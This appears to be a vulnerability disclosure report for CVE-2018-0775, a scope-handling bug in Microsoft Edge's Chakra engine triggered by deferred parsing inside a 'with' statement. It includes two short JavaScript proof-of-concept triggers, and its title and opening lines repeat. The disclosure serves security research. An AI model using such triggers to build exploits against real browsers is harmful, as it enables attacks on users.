Microsoft Edge Chakra Deferred Parsing

Microsoft Edge: Chakra: Deferred parsing makes wrong scopes #2

CVE-2018-0775


Since the PoC is only triggerable when the "DeferParse" flag enabled and requires a w Microsoft Edge: Chakra: Deferred parsing makes wrong scopes #2

CVE-2018-0775


Since the PoC is only triggerable when the "DeferParse" flag enabled and requires a with statement, I think this is simillar to <a href="/p/project-zero/issues/detail?id=1310" title="Microsoft Edge: Chakra: Deferred parsing makes wrong scopes" class="closed_ref" rel="nofollow"> issue 1310 </a>.

PoC:
// Enable the flag using ' '.repeat(0x1000)
eval(`(function f() {
with ({}) {
(function () {
print(f);
})();
}
}());` + ' '.repeat(0x1000));

PoC 2:
// ./ch poc.js -ForceDeferParse
(function f() {
with ({}) {
(function () {
print(f);
})();
}
}());


This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.




Found by: lokihardt